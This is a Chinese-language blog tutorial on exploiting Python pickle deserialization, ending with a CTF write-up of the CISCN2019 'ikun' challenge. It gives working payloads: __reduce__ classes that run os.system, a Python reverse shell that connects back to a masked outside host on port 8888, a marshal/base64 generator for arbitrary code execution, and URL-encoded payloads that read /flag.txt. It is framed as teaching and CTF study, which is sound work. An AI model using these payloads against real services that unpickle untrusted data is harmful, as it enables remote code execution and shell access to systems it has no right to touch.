人工智能 浅谈python反序列化漏洞 ~ Lethe's Blog

yhurriwong · February 26, 2020 · 122 hits

Python 中的序列化操作是通过picklecPickle 模块(操作是一样的,这里以 pickle 为例):

1、dumpload与文件操作结合起来:

(1)序列化:

pickle.dump(obj, file, protocol=None,)

必填参数obj表示将要封装的对象,必填参数file表示obj要写入的文件对象,file必须以二进制可写模式打开,即wb

(2)反序列化

pickle.load(file,*,fix_imports=True, encoding="ASCII", errors="strict"

必填参数file必须以二进制可读模式打开,即rb,其他都为可选参数。

(3)示例:

import pickle

data = ['aa', 'bb', 'cc']

with open("./test.pkl", "wb") as f:
    pickle.dump(data, f)

with open("./test.pkl", "rb") as ff:
    d = pickle.load(ff)

print(d)
# ['aa', 'bb', 'cc']

2、dumpsloads则不需要输出成文件,而是以字符串 (py2) 或字节流 (py3) 的形式进行转换。

(1)序列化:

pickle.dumps(obj)

(2)反序列化

pickle.loads(bytes_object)

(3)示例:

# python3
import pickle

data = ['aa', 'bb', 'cc']
p = pickle.dumps(data)
print(p)

d = pickle.loads(p)
print(d)

output:

b'x80x03]qx00(Xx02x00x00x00aaqx01Xx02x00x00x00bbqx02Xx02x00x00x00ccqx03e.'  

['aa', 'bb', 'cc']
# python2
import pickle

data = ['aa', 'bb', 'cc']
p = pickle.dumps(data)
print p
d = pickle.loads(p)
print d

output:

(lp0
S'aa'
p1
aS'bb'
p2
aS'cc'
p3
a.

['aa', 'bb', 'cc']

0x02 PVM 操作码

要想真正的利用反序列化,我们还得从底层了解一下 pickle 数据的格式是什么样的。

  • c:读取新的一行作为模块名module,读取下一行作为对象名object,然后将module.object压入到堆栈中。
  • (:将一个标记对象插入到堆栈中。为了实现我们的目的,该指令会与t搭配使用,以产生一个元组。
  • t:从堆栈中弹出对象,直到一个(被弹出,并创建一个包含弹出对象(除了()的元组对象,并且这些对象的顺序必须跟它们压入堆栈时的顺序一致。然后,该元组被压入到堆栈中。
  • S:读取引号中的字符串直到换行符处,然后将它压入堆栈。
  • R:将一个元组和一个可调用对象弹出堆栈,然后以该元组作为参数调用该可调用的对象,最后将结果压入到堆栈中。
  • .:结束 pickle

简单说来就是:

  • c:以 c 开始的后面两行的作用类似os.system的调用,其中cos在第一行,system在第二行。
  • (:相当于左括号
  • t:相当于右括号
  • S:表示本行的内容一个字符串
  • R:执行紧靠自己左边的一个括号对(即(t之间)的内容
  • .:代表该 pickle 结束

举一个例子:

cos
system
(S'whoami'
tR.

我们将上面的序列化字符串在 python2 下反序列化,相当于执行了os.system('whoami')

# python2
import pickle
s ="cosnsystemn(S'whoami'ntR."
pickle.loads(s)

在这里插入图片描述


0x03 反序列化漏洞利用

1、可能出现的地方:

  • 通常在解析认证 token,session 的时候。现在很多 web 都使用 redis、mongodb、memcached 等来存储 session 等状态信息。
  • 可能将对象 Pickle 后存储成磁盘文件。
  • 可能将对象 Pickle 后在网络中传输。
  • 可能参数传递给程序,比如sqlmap 的代码执行漏洞

2、利用方式

python 中的类有一个__reduce__方法,类似与 PHP 中的wakeup,在反序列化的时候会自动调用。

这里注意,在 python2 中只有内置类才有__reduce__方法,即用class A(object)声明的类,而 python3 中已经默认都是内置类了,具体可参考这篇文章

而我们定义的__reduce__可以返回一个元组,这个元组包含 2 到 5 个元素,主要用到前两个参数,即一个可调用的对象,用于重建对象时调用,一个参数元素(也是元组形式),供那个可调用对象使用。

举个例子就清楚了:

import pickle
import os
class A(object):
    def __reduce__(self):
        return (os.system,('ls',))
a = A()
test = pickle.dumps(a)
pickle.loads(test)

可以看到成功执行了命令:
在这里插入图片描述

我们再试一下反弹 shell,在 ubuntu 上运行下列代码:

import pickle
import os
class A(object):
    def __reduce__(self):
        shell = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
        return (os.system,(shell,))    
a=A()
result = pickle.dumps(a)
pickle.loads(result)

在 kali 上监听 8888 端口,可以看到成功反弹 shell。
在这里插入图片描述

pickle.loads是会解决 import 问题,对于未引入的module会自动尝试import。那么也就是说整个 python 标准库的代码执行、命令执行函数我们都可以使用。

eval, execfile, compile, open, file, map, input,
os.system, os.popen, os.popen2, os.popen3, os.popen4, os.open, os.pipe,
os.listdir, os.access,
os.execl, os.execle, os.execlp, os.execlpe, os.execv,
os.execve, os.execvp, os.execvpe, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe,
os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe,
pickle.load, pickle.loads,cPickle.load,cPickle.loads,
subprocess.call,subprocess.check_call,subprocess.check_output,subprocess.Popen,
commands.getstatusoutput,commands.getoutput,commands.getstatus,
glob.glob,
linecache.getline,
shutil.copyfileobj,shutil.copyfile,shutil.copy,shutil.copy2,shutil.move,shutil.make_archive,
dircache.listdir,dircache.opendir,
io.open,
popen2.popen2,popen2.popen3,popen2.popen4,
timeit.timeit,timeit.repeat,
sys.call_tracing,
code.interact,code.compile_command,codeop.compile_command,
pty.spawn,
posixfile.open,posixfile.fileopen,
platform.popen

0x04 任意代码执行

pickle 是不能序列化代码对象的,但是自从 python 2.6 起,Python 给我们提供了一个可以序列化 code 对象的模块Marshal,如下:

import pickle
import marshal
import base64

def code():
    import os
    os.system('whoami')

code_pickle = base64.b64encode(marshal.dumps(code.func_code))
print code_pickle

输出如下:
在这里插入图片描述
为了保证格式问题采用 base64 编码一下,但是我们并不能像前面那样利用__reduce__来调用,因为__reduce__是利用调用某个可调用对象 (callable) 并传递参数来执行的,而我们这个函数本身就是一个 callable ,我们需要执行它,而不是将他作为某个函数的参数。

这时候就需要利用 PVM 操作码来进行构造了,想要这段输出的 base64 的内容得到执行,我们需要如下代码:

(types.FunctionType(marshal.loads(base64.b64decode(code_enc)), globals(), ''))()

Python 能通过 types.FunctionTyle(func_code,globals(),'')() 来动态地创建匿名函数,所以上面的语句实际上就是:

code_str = base64.b64decode(code_enc)
code = marshal.loads(code_str)
func = types.FunctionType(code, globals(), '')
func()

最终上面的例子构造出来的 PVM 语句如下:

ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'YwAAAAABAAAAAgAAAEMAAABzHQAAAGQBAGQAAGwAAH0AAHwAAGoBAGQCAIMBAAFkAABTKAMAAABOaf////90BgAAAHdob2FtaSgCAAAAdAIAAABvc3QGAAAAc3lzdGVtKAEAAABSAQAAACgAAAAAKAAAAABzCQAAAC5cdGVzdC5weXQEAAAAY29kZQUAAABzBAAAAAABDAE='
tRtRc__builtin__
globals
(tRS''
tR(tR.

我们将他反序列化一下看看:

import pickle

s ="""ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'YwAAAAABAAAAAgAAAEMAAABzHQAAAGQBAGQAAGwAAH0AAHwAAGoBAGQCAIMBAAFkAABTKAMAAABOaf////90BgAAAHdob2FtaSgCAAAAdAIAAABvc3QGAAAAc3lzdGVtKAEAAABSAQAAACgAAAAAKAAAAABzCQAAAC5cdGVzdC5weXQEAAAAY29kZQUAAABzBAAAAAABDAE='
tRtRc__builtin__
globals
(tRS''
tR(tR.
"""

pickle.loads(s)

发现成功执行了code函数里的语句:
在这里插入图片描述

这样我们可以用如下脚本构造 payload,再根据实际情况对 payload 进行 url 编码之类的操作:

import marshal
import base64

def code():
    pass # any code here

print """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(code.func_code))

0x05 实例分析

CISCN2019 ikun

这题先通过逻辑漏洞修改表单的折扣来购买 lv6 产品,然后伪造 JWT 为 admin 拿到源码,我们直接来讲 python 反序列化的地方。

审计一下源码,使用的 tornado 框架,问题在views/Admin.py中:

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

可以看到在post方法中,使用become传参进去,并且对传进来的值进行url解码,然后反序列化,反序列化的结果通过p在前端回显了。

这里就存在一个反序列化漏洞,但是这题过滤了很多执行系统命令的函数,我看网上大多数的 wp 直接猜出/flag.txt然后用eval(open('/flag.txt','r').read())来读取文件了。

实际上这里可以使用commands.getoutput()来执行命令:

# coding=utf8
import pickle
import urllib
import commands

class payload(object):
    def __reduce__(self):
        return (commands.getoutput,('ls /',))

a = payload()
print urllib.quote(pickle.dumps(a))

得到:

ccommands%0Agetoutput%0Ap0%0A%28S%27ls%20/%27%0Ap1%0Atp2%0ARp3%0A.

在这里插入图片描述

再将上面脚本的ls /改为cat /flag.txt,得到最终 payload:

ccommands%0Agetoutput%0Ap0%0A%28S%27cat%20/flag.txt%27%0Ap1%0Atp2%0ARp3%0A.

修改 become 的值为上述 payload 即可得到 flag:
在这里插入图片描述



参考链接:

http://www.polaris-lab.com/index.php/archives/178/

https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BPython%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/



CTF  

  

CTF

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0 协议 。转载请注明出处!

No Reply at the moment.
You need to Sign in before reply, if you don't have an account, please Sign up first.